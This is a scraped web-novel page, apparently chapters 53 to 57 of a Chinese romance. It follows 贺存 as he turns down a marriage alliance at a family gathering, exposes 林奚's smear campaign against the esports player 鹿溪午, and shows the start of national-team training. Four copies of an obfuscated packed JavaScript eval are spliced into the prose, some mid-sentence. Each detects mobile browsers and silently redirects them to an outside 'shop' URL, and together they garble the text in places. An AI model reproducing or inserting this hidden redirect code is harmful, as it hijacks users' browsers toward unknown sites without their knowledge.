;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068368|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽说这次的影响之大，与鹿溪午的直播脱不开关系。 但值得肯定的是，星河这次的创新模式本就足够优秀，加上鹿溪午的热度，那效果就像是在滚油里泼下的一瓢热水，噼里啪啦地炸了！ 热搜前三全被星河TV包揽，并且全是正向的评论，这波操作不仅仅是其他人就连星河与华曙内部人员也看得目瞪口呆。 [看见家乡的特产了，呜呜呜] [再也不用担心萝卜的销路了，噢耶] [好多老牌国货……星河你真是好事做尽] [我要闹了，为什么不宣传为什么不宣传为什么不宣传——] 星河一下子变成了网红企业，连带着无数在星河挂牌的产品也销量暴增。 星河总部，接电话的负责人脸都快笑出一朵花来了，谢嘉看着后台的数据啧啧称奇—— “我说存哥，你们家的大杀器使用前怎么也不打个招呼？” 电话的另一头，贺存无奈地捏了捏鼻梁：“他也没跟我说。” 本来贺存正准备跟那个刘经理扯扯皮，线上的会议都开到一半了，结果星河这边就空降热搜，摇身一变成良心企业。 业内不少人叮呤咣啷地跟刘经理发信息打探口风，可怜的刘经理咄咄逼人的话才放完一半，又不得不在星河的热度面前屈服。 狠话生生打了个拐，变成对贺存的夸赞，刘经理前后表情扭曲得都快抽筋了。 贺存在一片腥风血雨中不动如山，不论面对的是威胁还是试探，都是云淡风轻地一带而过。 刘经理除了咬牙切齿之外也别无他法。 来自董事会的压力贺存早就在接手这个项目时就感受到了，这样虎头蛇尾，毫无营养的会议不是他参加的第一个也不会是最后一个。 电话里，谢嘉的声音还在喋喋不休地继续： “好么，看来你的家庭地位也不怎么样呢——这波热度可不要浪费了，你有什么想法吗？” “有一些初步的设想，把其他人叫来，我们开个短会。” “好。” 等待的间隙，贺存总算是能抽出时间给鹿溪午回个电话了。 “喂？学长？” 听见了鹿溪午的声音，贺存终于觉得自己得到了一时半刻的喘息：“我看见你直播的消息了。” 鹿溪午此时正抱着小狸花，坐在阳台上懒洋洋地晒太阳，金色的太阳碎片撒在身上，远远看去像是给鹿溪午渡上了一层光晕。 “唔？想帮你而已，没想到效果这么好。” “我知道，谢谢。”贺存举着电话，眼中带着温柔的笑意，丝毫不见面对外人的凛冽，“对了，今晚我可能不回来吃晚饭，你跟小狸花先睡吧。” 鹿溪午的脸腾地一下就红了：怎么……这么……这么像新婚的丈夫跟妻子报备行程？！ 躺在他腿上的小狸花疑惑地瞅了眼鹿溪午 ，又推了推搭在自己身上的手—— “喵呜？”怎么不继续了？ 鹿溪午顾不上给小狸花的按摩，他的注意力此时此刻全在电话之上。 许久，才听见鹿溪午干巴巴地哦了一声：“那我先睡。” “嗯。”贺存莞尔，“提前祝你晚安。” 54.聚会 大年初六，是贺家一年一度的家族聚会。 这一天名义上是家族聚会，但几乎所有跟华曙有商业往来的人物都会来拜访。 贺家主宅坐落在城西郊区，整个山头都算是这座恢弘庄园的范围。因为上一任贺家掌门人有培育植物的爱好，这种山上常年种着各式各样的花卉与树木，错落地分布在庄园的周围。 然而冬季萧瑟，大部分的植物被雪覆盖，只在底端露出一段光秃秃枝丫。唯有车行道两旁的红梅还盛放着，艳丽的红与洁白的雪交相辉映。 咔嚓一声，贺存把刚才照下来的红梅发给了鹿溪午： [图片.jpg] [要不要我带两支回家插在花瓶里？] 鹿奶奶过年有插腊梅的习惯，鹿溪午耳濡目染也染上了这样的习惯。但城市改造，很多原先的腊梅林已经被铲平了，鹿溪午最近正对着空花瓶发愁。 贺存早就打了老宅红梅的主意，今天正好有机会。 [我觉得这个颜色配你新买的花瓶刚刚好。] 贺存点击发送，急匆匆的佣人就找到了他：“少爷，前厅已经有些客人来了。” “知道了。” 贺存眼中的温和顿时消失，抬眸时已经变成了那个冷冽凛然的华曙继承人。 宴会厅内，水晶吊灯散发着柔和的光芒，映照在银制餐具上，四周摆满了各式各样的小点，精美得仿佛艺术品。香槟塔高高耸立，气泡在灯光下闪烁着浮动，一切都是那样的纷华靡丽。 宾客们已经来了好些人，三五成群地站在大厅内交谈，间杂着细碎的碰杯声。 粗略一扫，在场的人无不是行业里的领军人物，每一个单拎出来都是能在财经杂志里当做封面的存在。在这里，每一次微笑、每一次握手，都可能牵动着商业版图的脉络，影响着未来的走向。 而这些人在见到贺存的第一眼，就纷纷露出了微笑。 “小贺总来了。” “小贺总真是年轻有为啊！” “老贺可是生了一个好儿子啊哈哈哈……” 众人围在贺存身边，言笑晏晏地打着招呼。不仅仅是因为华曙，更多的是对贺存本身能力的认可。 贺存熟练地在人群里推杯换盏，收获了不少来自不同行业的名片。这些名片都算是贺存自己的人脉。 直播带货的风吹动了不少企业的心。 林沂天的眼神在众星拱月的贺存身上转了一圈，以他老辣的眼光一下子就认出来围在贺存周围的人——几乎都是做实体经济的，他们正需要贺存在网络上的销路。 “爸，我先过去打个招呼？”林修端着香槟，征询父亲的意见。 毕竟正打算跟人挤占市场呢，林沂天也不便出面跟贺存这样的小辈主动招呼，林修过去是最合适的选择。 “去吧。” 接到林沂天的肯首，林修才松了口气走向贺存。 林修还瞒着贺存跟鹿溪午的关系，在这个事情上，他想多拖一天是一天。 “小贺总，别来无恙。” “小林总。” 林修与贺存轻轻碰杯：“小贺总好手段，教科书级别的公关应对呢，有些人可是要跳脚了。” “正常应对而已。”贺存微微抿了一口金黄色的酒液，眸光冷沉，脑海中浮现出私家侦探的邮件——水军公司与林奚工作室有高度合作关系…… “怎么不见你家林二？” 林修心头一跳，不好的预感顿生，警惕地望向贺存：“小贺总关心我弟弟做什么？” “只是好心提醒你。”贺存淡淡一笑，只是笑意并不达眼底。 贺林两人都是圈子里优秀的青年才俊，又碰巧都是单身，免不了吸引他人的目光。 “两位先生，日安。” 阿拉贝拉身着一袭剪裁得体的深紫色礼服，裙摆随着她的步伐轻轻摇曳，仿佛夜空中最璀璨的星辰，闪耀着不可一世的光芒。 她来到两人的面前，优雅缓慢地颔首，几缕碎发轻轻垂落在她如玉般的额前，增添了几分柔美与妩媚。 贺存眼波微动，已经认出了来人的身份——蓝旗银行的大小姐，阿拉贝拉。 “阿拉贝拉小姐，日安。” 林修在听到这个名字时，无声地捏紧了酒杯，面上却不露声色地礼貌回应，眼神在两人身上来回巡睃后已经带有一份了然。 阿拉贝拉露出一抹淡雅的笑容，微微抬头露出耳朵，只见一只精巧的白金耳坠在右耳轻轻晃动，而左边却只剩那小巧的耳垂。 “贺先生，我知道这有些失礼，但能请你陪我去花园找找我丢失的耳坠吗？” 按照社交礼仪，林修本应该在跟阿拉贝拉打过招呼后就知趣退场，但—— 他的目光转向贺存，他跟鹿溪午…… 贺存的眸光一瞬间冷了下去，面上的微笑却没有分毫影响：“真是令人遗憾，这么漂亮的耳坠。张伯——” 一位管家打扮的中年人立即上前：“少爷？” “这位小姐的耳坠不慎丢失在花园，安排人去找找吧，不能怠慢了贵客。”贺存礼数周到得无懈可击，“阿拉贝拉小姐，请您稍等，您的耳坠一定会完璧归赵。” 林修分明看见这位蓝旗银行大小姐的姣好面容僵了僵，再开口时嘴角的笑容淡了不少：“是吗？那我就先谢过贺先生了。” 都是生意场上的人精，阿拉贝拉已经猜出来了贺存对此次联姻的态度。这次的举动本来就是试探，并不会让这位贵族出身的大小姐挂怀。 “我的朋友还在那边，失陪。”阿拉贝拉迅速收拾好自己的神态，提起裙摆又复融入各色的觥筹交错中。 等人走后，贺存瞥了一眼阿拉贝拉的背影，低声快速跟张伯交代：“让人照着阿拉贝拉右耳上的耳坠再买一只吧。” 张伯点点头，身影迅速消失在大厅。 林修默不作声看完这出戏，开口却问了一个无关紧要的问题：“贺总怎么确定耳坠找不到？” “因为她根本就没有丢耳坠。Wst珠宝品牌的美学就是不对称，耳坠从来就只设计一只耳朵。” 贺存耸耸肩，“她的目的这么明显，你难道没有猜到？” 看来蓝旗银行跟华曙联姻是黄了？林修转着杯子，心思百转：“贺总倒是好眼力。” “只是最近在看戒指而已，恰好对这些品牌做了不少功课。” 戒指？！ 这两个字仿佛一道响雷炸在林修耳畔：“……什么戒指？” 怕引来不必要的目光，林修压低了声音，费力从牙缝里挤出来几个字。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085341|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺存微微一笑，不再多言，撇下凌乱的林修，走向人群之中。 贺存拒绝蓝旗银行大小姐的消息很快传到了贺晋城跟程寅雪的耳朵里。 “真是翅膀硬了，还有比蓝旗银行更好的选择吗？” 一位头发银白，面容清癯的老人气急地敲着拐杖，“你看看你是怎么教育的孩子？！” “叔公，小存已经大了，有自己的想法很正常。”贺晋城笑着劝慰，似乎对老人的气急早有预料。 程寅雪与贺晋城挨得极近，端的是一副恩爱夫妻的模样：“是啊叔公，小存优秀着呢。蓝旗银行也未必是最好的选择。” 程家跟贺家的旁支三三两两地站着，目光时不时地瞥向主家这边，或探究，或玩味，或嫉恨…… “不是我说你们，咱们家就小存一个孩子，你们做父母的，对孩子的终身大事不上点心，还有谁去操心呐？我这个半截入土的老头子吗？” 面对老人的数落，贺晋城很是熟练地递茶，程寅雪则是为老人拍背顺气。 两人对贺存如今的情感状况心知肚明，但不好跟家里长辈言明，只能不着痕迹地转移话题。 “这不是最近小存负责了集团业务的一个板块嘛，我给您讲讲，他做得很优秀……” 周围的旁支眼见老人眉眼松动，便又上来一窝蜂地说着吉祥话，逗得老爷子哈哈大笑。 程寅雪跟贺晋城对视一眼，皆在心里松了一口气。 “小存怎么还没到？”程寅雪看了两次大厅的方向，按理来讲，此时贺存应该来长辈这里拜年了。 “今年这小子估计多了不少应酬对象，晚点来也好。” 贺晋城老神在在地喝了一口茶水，微抿了抿唇，茶的口感还是没有香槟喝起来讨人喜欢。 两人正说着，就见到贺存推开门走进来：“爸，妈。” 主角一来，其余人纷纷自觉给贺存腾出位置，不管旁支的小辈在叔公哪里多得宠，只有贺存才是他老人家的心头肉。 “小存？快，快到曾叔祖这里来。” “曾叔祖。” 旁支的两人只好愤愤起身，本来眼看老爷子都要松口给钱了，结果贺存一来，老爷子眼里就只有他了。 “堂哥最近可是风光呢。” “可不是，现在业内谁不看好星河？能给个合作机会不？” “六表叔，这是家宴，不谈生意。”贺存坐在老人身旁，淡淡的语气防住了所有人的试探。 “对，家宴。”老人紧紧握着贺存的手，浑浊的眼珠震慑众人，“不谈公事。” 眼见贺存能游刃有余地处理局面，贺晋城与程寅雪两人也就能放心地去应付外面的宾客。 告罪一声后，刚才还闹嚷嚷的房间里就只剩下几个跟曾叔祖关系亲密的旁支和贺存。 “小存呐，你悄悄告诉曾叔公，你看上哪家的姑娘啦？我让你爸妈去提亲去。” 如同枯老树枝的手轻轻搭在贺存的手背上，老人和蔼地询问。 仍留在房间里的旁支的视线一瞬间移向了贺存，无声地窥伺着。 贺存在若有若无的视线中不动如山：“如果我有喜欢的人，一定会带他给曾叔祖看的。” “抓紧时间啊。”老人拍了拍贺存的手，不放心地叮嘱。 55.得知 京城，巷酒私厨。 这是一家每天只接待八桌宾客的私厨餐厅，私密性极高，以食材的新鲜度和调味手法闻名，至少需要提前三个月预约位置。 齐光茂约了林奚今晚一起吃饭。 他是来为年前的那起代拍事件来赔罪的。 “上次的事情是我考虑不周，连累你了。”齐光茂看起来很是自责，“我见你一直都没在网上露面了，是因为这个吗……” 林奚坐在齐光茂的对面，脸色看起来有些苍白，人也消瘦了不少：“不是这个原因，你别多想。” 借着蒸腾的热气，林奚回避了齐光茂直白的关怀眼神。这一表现更加让齐光茂确定了是自己的原因。 “对不起小奚……”齐光茂咬咬牙，“林氏元嘉准备怎么做？我全力配合。” “元嘉的公关团队一般只服务一线艺人，我只是一个养子而已。”林奚笑笑，却在眼里写满了无奈，“我真的没事，别自责。” 齐光茂霍然起身：“你好歹——” 林奚猛地向他看去，眼里写满了惊恐：“别！” 齐光茂忿忿地坐回原位，压低了声音：“你好歹跟林伯伯一起生活了这么多年，他就一点不念旧情吗？” 林奚没回答，只是挤出一个勉强的笑容：“算了，说这些干什么，吃饭吧。” “小奚！”齐光茂再也忍不住，忽地伸手拽住了林奚的手腕，“让我帮你吧。” “……” “让我帮你，不好吗？” “你不明白……只要在父亲眼里，鹿溪午的价值比我大，我就永远是被舍弃的那一个。”林奚的面色惶然，像一只担惊受怕的迷路小动物。 “我会想办法的。”齐光茂情不自禁地盯着林奚的脸，坚定地重复，“会有办法的。” . 收到归队通知的鹿溪午正在摆弄他的花瓶，试图把红梅插得更好看一些。 贺存洗完澡一身水汽地贴过来，在开足暖气的室内只穿了一件单薄的睡袍。 熟悉的沐浴露香味钻进鼻腔，像是阳光下的薰衣草花田，暖熏熏地醉人。 “好看吗？”鹿溪午指着花瓶问，“是不是很有过年的氛围？” 贺存的脑袋靠在鹿溪午的肩膀上，借着淡淡的酒劲懒洋洋地应声：“嗯……好看……” 不等鹿溪午一句敷衍出口，口袋里的手机顿时响起——是徐泽群发的消息： [经教练组商议决定，本月18日所有国家队队员归队正式开始第二阶段的训练，收到请回复。] “这么快吗？只剩三天了。” 听到贺存的声音，鹿溪午才意识到自己念出了声音。 “正好赶上一波高峰期，也不知道机票还有没有。” “没事，不行我让私人飞机送你，前几天刚刚申请了去海滨的航线。”贺存捏了捏鼻梁，试图让自己的大脑更清醒一些。 鹿溪午停下了查机票的手，晶亮的眼睛瞪着贺存：“可恶，我仇富了。” 贺存揉了一把鹿溪午的头发，手感跟想象中的一样顺滑柔软：“这次还住基地？” “是啊。”鹿溪午握住在自己脑袋上作乱的手，“住一起方便一些。” “海滨那边春夏只会更湿润，记得多带些换洗衣服，这次应该是要住很久吧？把常用的药也带一些。”贺存越说越觉得不放心，“算了，我跟你一起去，缺什么买什么。” “打住打住，学长。”鹿溪午伸出一根手指，指着另一只手的手心，做了一个暂停的手势，“我自己可以的。” 鹿溪午坚定的目光跟贺存对上，时间在沉默的对峙中缓缓流逝。半晌，贺存终于败下阵来，嘴角的笑意柔和：“好吧，要什么一定记得告诉我——走得倒是挺爽快的，小没良心。” 鹿溪午挨了贺存一个不轻不重的脑瓜崩，揉了揉额头，才恍然大悟：训练，对他来说是成长，但同时也意味着又要忍受跟贺存见不了面的时光。 想到这里，鹿溪午的心情顿时沉重起来。 “要好久见不到面呢……”他低声嘟囔着，把脑袋埋进贺存怀里，仿佛这样就能抓住那些即将溜走的时间。 “别担心。”贺存半拥着鹿溪午，臂膀如山般可靠，“等我把京城的事应付完，我就到海滨去。” 鹿溪午闷闷地应声：“好哦。” 贺存没再说话，安抚性地拍拍鹿溪午的背。 第二天早上。 贺存做好早饭正准备叫鹿溪午起床，邮箱里收到了来自私家侦探久违的邮件。 正文内容很短，但附件的体量却很大。 在看到那个名字的瞬间，贺存的眼神就冷沉了下来。 ——林奚，张青婉。 他们做得很干净，连私家侦探花了不少时间才查到了那家水军公司的总部，更是通过好几个离岸账户才摸到林奚的边。 敢对鹿溪午动歪心思的人，他一个也不会放过，既然林奚企图用一些特殊的手段，那便看看谁的手段更高明吧。 贺存退出了邮箱，敲响了鹿溪午的房门。 “溪午，起床吃早饭了。” . 张青婉本以为自己能过一个消停的春节。 林奚虽然前些日子负面舆论比较多，但经过这么多天的冷处理，健忘的网民早已被其他的事情吸引了注意力。 背靠林氏集团，林奚身上的代言虽不多，但个个都是质量极高的精品，品牌方也不会提出太难的宣传要求。 但没想到就在今天早上，林奚的代言却像是约好了似的，同时提出了解约。 张青婉尝试着提了提林氏的名头，却引来了对方更加坚定的语气，敏锐的她立即意识到了林奚可能得罪人了。 林修就是在这样的情况下接到张青婉的电话的。 查出品牌同时解约的原因并不难，因为贺存就没有想过要遮掩这件事。 “为什么？贺总。小奚根本就没见过你吧？你为什么要如此针对他？” 华曙的会客室，林修几乎控制不住自己质问的怒火，“小奚到底做错什么了？” “你说呢？林修？” 贺存近乎冷笑般的反问，“你真的不知道吗？三个月前，那场明显是冲着溪午来的网络谣言？” “什么谣言？你在说什么？”林修紧紧蹙着眉头，脑海里似乎有一点淡淡的印象，却又想不起来。 贺存把那场闹剧的始末展示给林修看，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093543|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看吧，有印象了吗？” 林修看到鹿溪午的录取通知书时才反应过来，这也是父亲对林奚和鹿溪午态度转变的开始。 “你的意思是……这个造谣的人是小，林奚？” “证据在这。”贺存又推过去一摞纸张。 林修接过东西后，却很难看进去一行字，脑海里却反复出现这几个月以来林奚心事重重的脸。 贺存交叠着双腿，镜片下的乌黑眼珠冰冷地看向林修，无声地像是一把锋利的剑：“溪午还不知道，我也不打算让他现在知道这件事情，以免影响他备战奥运的心情。” 原本想和鹿溪午谈谈的林修瞬间歇了心思：“……你想怎么办？” “对林奚的封杀我会持续，他想毁了溪午的事业，那我只好以其人之道还治其人之身。” “可鹿溪午现在不是好好的吗？事业也没有受影响。” 一想到除夕夜林奚无望的眼睛，林修就忍不住心软：那是他护着护了二十多年的弟弟啊。 “我让小奚跟他道歉行吗？小奚从小都想当歌手，不能让……” “你知道为什么溪午会去做直播，甚至休学去做职业选手吗？”贺存平静地打断了林修的话，“那是因为他需要钱去治孤儿院院长的病。” 林修顿时怔住了。 “溪午没有办法，他当时边做直播边在网吧打工，挣的钱全都花在医院了。后来做了职业选手，近乎一半的代言费都捐给孤儿院了。林奚的梦想重要，溪午好不容易经营出的事业就不重要？” 贺存周身的气势更盛，空气中弥漫着令人胆寒的冷意：“只要没造成伤害，行为就不算严重，对么？！” “道歉，不是最基本的礼貌吗？” 在贺存一声声沉怒的质问下，林修无言以对，只得羞愧地闭了闭眼睛。 “不管你们把溪午当成什么，在我这里，胆敢伤害他的人，我都会让他付出代价。” 贺存斩钉截铁地话语砸在林修的耳朵里。林修也明白过来，贺存此次应该是在警告自己，警告林氏。 林修失魂落魄地起身，再也说不出求情的话来，吞吞吐吐半天憋出两句：“我会让小奚给溪午道歉的，林氏也会尽力补偿给溪午该有的东西，我保证。” “不要在这个节骨眼上打扰溪午。”贺存警告。 “我知道。” 林修艰难地走出华曙大楼，手机上有好几个来自林奚的未接来电。 但林修却像是没看见一样，给还在等消息的张青婉去了电话。 “小林总，怎么样了？还有商量的余地吗？”张青婉急匆匆地开口，显然是对目前的情况十分焦灼。 “三个月前，你是不是配合小奚在网上针对了一个电竞选手。” 张青婉立时噤了声，“我……这……” 猜测得到证实的林修狠狠闭了闭眼，忍耐着开口：“为什么不告诉我？小奚不让吗？” “是……”张青婉只得和盘托出。 “那你也应该猜到了，这次到底是不是无妄之灾你们心里最清楚。” 林修又叹了口气，觉得今天已经把这辈子的气都快叹完了：“我已经无能为力了，你们这是作茧自缚。” 56.集训4.0 林奚得到消息后，完全坐不住了，脑海里回忆了一遍人情世故，自认没有得罪什么有钱有势的人。 他甚至还把林沂天都怀疑了一遍，却没想到他这样做的动机。 打不通林修电话的他，只能来到办公室蹲人。 林修推开办公室的门，不意外地看见林奚坐在沙发上忐忑地望过来：“哥哥……” 关上隔音的门，这个空间里就剩下了兄弟两人。 林修握着门把手，迟迟没有转过身，他不知道自己该怎样面对林奚。 而这样的态度更加令林奚心中不安。 “……你自己知道为什么吗？” 一片安静中，林修率先转过头开了口。 “我不知道，哥哥。”林奚双手紧握，指甲深深地嵌进了肉里，“我真的想不到。” 林修紧盯着坐在沙发上的弟弟，他看起来像是一只惊惶的兔子，对四周徒劳地警惕着，是那么符合他对林奚不谙世事的印象。 从张青婉的口中，林修得到了事情的全部真相，那个步步为营的谣言，就是林奚亲手织就的一张大网，一张能让猎物万劫不复的大网。 “小奚，你有什么事瞒着我吗？”林修缓缓说着，眼睛却不想放过林奚的任何一个表情。 林奚从林修的态度中察觉到了什么，试探性地问：“哥哥说的是……什么事情？” 林修有些失望地闭了闭眼，第一次对林奚有些冰冷地扔出三个字：“鹿溪午。” 所有和平的表象终于被打破，林奚心里紧绷的绳子终于断了，在那一瞬间，他甚至有种如释重负的感觉。 “你知道了。” 平静的声音令林修不得不向他的方向看去，林奚甚至连惊慌都没有。 “所以，是鹿溪午的报复吗？” 林修倏地站起，面上写满了不理解：“小奚，你为什么要这么做？你知不知道这样做会毁了你自己！” “我们的手脚很干净，即使被人查出了蛛丝马迹，证据不足，也没法立案。”林奚此时觉得自己平静极了，他曾经那么恐惧这一刻的到来，没想到真正这个时候，反而没自己想象中的那么歇斯底里。 “我做得够小心了，到底是哪步出错了？” “小奚！你怎么……”变成这个样子了。 林修喃喃摇头，依旧不解：“为什么？虽说爸爸的态度……但至少哥哥待你一如往常，吃穿用度也未曾减少，甚至到现在为止，外界依然认为你才是林氏的二少爷。” “为什么呢，小奚，你为什么要针对鹿溪午？” “不然呢？哥哥。”林奚忽地笑了起来，“你觉得为什么我能维持现状不动？那是因为在爸爸心里，我还有价值！我能为他带来的利益比鹿溪午大！一旦有一天他发现我不如鹿溪午时，他一定会毫不犹豫地把我抛弃，那时我一定会被娱乐圈吃得连渣都不剩。” “我能怎么办哥哥？你告诉我，我该怎么办？” 随着质问的声音越来越尖利，音调越来越高亢，林奚的脸色变得苍白，额头上隐隐可见青筋暴起，双手紧握成拳，指节因用力而泛白，身体前倾，带着爆发后的颤抖。 面对这样的林奚，林修一时也怔在当场，因为他知道，林奚说的是真的。 一片窒息般的静默中，林修揉揉额角，“不管怎么样，你做错了事情，那就得道歉。找个时间，我带你一起去找鹿溪午。” “道歉？”林奚的声音有些飘忽，情绪爆发后的脱力感袭来，让他有些力不从心，“道歉了，就不会封杀我了吗？” “做错了事情，难道不应该道歉？”林修疲惫地看着林奚的眼睛，这时他才觉得是如此陌生。 “既然不能解决我的问题，那我为什么要道歉？” 林修张了张嘴，最后只发出一声徒劳地叹息。 “鹿溪午不应该有这么大的能量，是谁在帮他？”宣泄过后，林奚终于开始思考这件事。 “——贺。”林修只需要一个字，便能让林奚恍然大悟。 “鹿溪午跟华曙……哈哈哈，原来是这样……”林奚笑出了眼泪，“只是不自量力哈哈哈……” 笑够了，林奚最后抹了眼角：“恐怕爸爸还不知道这件事吧？不然早就把我踢出林家了。” “早晚都会知道的。”林修站起身，整理了一下自己坐出褶皱的外套，“但在这之前，我会尽力帮你隐瞒。” . 鹿溪午要去海滨进行训练，下学期的课程就只能申请线上授课的方式。 好在教务处的老师已经休完假期，鹿溪午也能赶在出发的前一天办好手续。 教务处的老师显然不是第一次遇见鹿溪午这样的情况，问清楚基本信息和情况后，噼里啪啦地在键盘上一顿操作。 “把这张单子和这个，拿给你们的院长签字，还有这个要给辅导员签。”教务处的老师行云流水地走完流程，“不过这些东西开学前拿给我就可以了。” “那我可以托别人代交吗？我明天就得去训练了。” 鹿溪午挠挠脸颊，不好意思地笑笑。院长和辅导员最近都不在学校，这些材料估计得喊学长帮帮忙了。 “当然可以。”老师和蔼地笑笑，“咱们学校出过不少奥运冠军呢，这个新的项目也希望你能拿下冠军，为国争光，加油啊。” “谢谢老师，我们都会努力的。” 鹿溪午挥手与老师作别，转身却意外碰见了一个不想遇见的人——林奚。 “好久不见。” 林奚率先打了声招呼，笑容中完全看不出之前疯狂的模样。 想到之前林奚在校门附近用的小手段，鹿溪午有些警惕：“你想做什么？” “放心，我不会对你做什么的。”林奚平静一笑，“听说你要去参加奥运了？还没恭喜你，祝你能拿个奖牌。” 鹿溪午倒是没想到林奚会说出这样的话来，有些惊奇地看了他一眼：“……谢谢你的祝福。” “再见。” 林奚没有在意鹿溪午的眼光，转头跟他擦肩而过。 鹿溪午没有把这次的插曲放在心上，收拾好东西后，第二天踏上了去海滨的飞机。 又一次训练开始了。 “第二阶段的封闭训练会持续到三月底，也就是异界春季赛开始，等比赛结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104814|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束后，我们再回来进行第三阶段的训练。” 穆哲言敲敲黑板，强调这次训练的重点：“按时训练，按时参会，按时复盘，这些基本的规矩不用我再强调了吧？上午仍然是基础训练，不过根据不同的位置要求，在某些方面的要求也不同，具体见群里的文件。” “重点是下午的对抗训练，分为队内对抗和训练赛两种形式。队内对抗主要培养的是各位的默契，而训练赛的对手会有来自其他国家的各个队伍，你们做好准备。” 见穆哲言把该交代的交代完后，徐泽拍拍手说起了另一件事情： “对了，提个题外话，本次训练有好像多了一个赞助商，给大家换了新的外设，还有宿舍环境也做了额外升级，如果各位方便的话，也可以在直播间里宣传宣传我们这位赞助商的名字，叫什么来着——哦对！华曙科技！” 说到华曙，徐泽促狭的目光立即落到了鹿溪午身上，只一眼却让鹿溪午心头猛跳。 鹿溪午：好强大的钞能力！ 不知情的群众顿时欢呼起来“感谢金主爸爸！”“金主爸爸大气”等等词语钻入鹿溪午的耳膜。 鹿溪午矜持地咳嗽一声，美滋滋地想：嘿嘿，金主，我的。 只有齐光茂安静地隐藏在众人之中，目光隐晦地盯着鹿溪午的背影，眼眸之中流转着暗沉的神色。 穆哲言翻着手里的文件夹，迅速地点了几个名字：“中单deer、辅助nice、射手joker，你们三个一组，打野teacher、上单sad、中单abelard，你们三个一组。这两组给我绑定了，除了睡觉上厕所，其余时间都给我待在一块儿。” 鹿溪午应了一声，这是两个完全不一样的战术小队。 第一组的重点在中下路，需要打快攻跟运营都行的选手，进可攻退可守，所以选了他和joker作为主力；第二组的重点在上路，因此选了联盟第一狂战士走上，中路由teacher和abelard拉扯，阻断支援路线。 能被国家队选来的都不是蠢人，剩下没被叫到的人也不急，反而迅速盘算起自己去哪队更有优势。 “剩下的人自己去商量位置，明天中午我要看到成果。”穆哲言淡淡说着，“下午的对抗赛就是这样。” 徐泽想了想，加了一句：“可以有替补队员。” 国家队的训练风格一向如此，在排兵布阵上，教练会把一部分选择权交给选手自己决定。 短暂的会议后，众人三三两两地走出会议室。 张风回依旧跟鹿溪午住一间寝室，回去的路上，张风回提前把手机的电筒打开了。 “刚才徐教练说走廊的灯坏了，明天才叫人来修。” 果然，去往寝室的楼道里一片漆黑，伸手不见五指。 鹿溪午也借着张风回的灯光打开了电筒：“怎么这么黑？” 张风回举着手机，想要尽力把前方的路照亮：“你要是看不见就拽着我吧，这儿没有灯实在是太黑了。” 默不作声地跟在两人不远处，齐光茂听清了张风回的话，一个猜测出现在心头：不会是……不行，得找机会试一试。 57.阴谋 “走廊里怎么又停电了啊？黑乎乎的啥都看不见。” “可能是那根线路出了毛病？” “最近海滨梅雨季，不会是哪儿漏电了吧？” 食堂里，选手们正讨论着走廊上老出问题的灯。 张风回端着两杯豆浆走到鹿溪午身边，“你今早没撞着吧？” 鹿溪午揉了揉还在隐隐作痛的膝盖，嘴里叼着油条含糊不清：“没事，就一下。” “别让我逮到谁把凳子放路中间，什么人呢这是，缺德！”张风回念念叨叨，把油条撕成小块泡进豆浆里，眼睛一瞥便看见了独身前来的齐光茂。 “诶对了，你有没有觉得齐光茂最近怪怪的？”张风回拿筷子搅了搅碗，又一次捕捉到了来自齐光茂的视线，这人最近似乎一直都很关注鹿溪午？ “可能是最近训练太累吧？听说国外的训练强度比我们的小多了，估计不适应。” 鹿溪午啃完了油条，又开始剥鸡蛋，“今天晚上是不是要跟美国那边打训练赛来着？” “嗯。教练昨天强调了好多遍，强制要求每个人都要到场，应该是很难约的。” 跨国的训练赛很难约，需要考虑很多因素，光是时差的缘故，就很难统一时间了。 不过在晚上就意味着自己跟学长的视频时间要推迟了。 鹿溪午有些郁闷地喝完最后一口豆浆，希望不会结束得太晚。 齐光茂坐在食堂角落，远远地向鹿溪午看去，眼神里涌动着令人看不懂的情绪。 要是能让小奚过得好，无论要做什么他齐光茂都能接受。 . 这是第二阶段训练以来最重要的比赛。 目前能约的训练赛队伍并不多，大多数国家的队伍都还没有组建，能够跟美国这样水平的队伍打一场训练赛是教练组期待已久的事情。 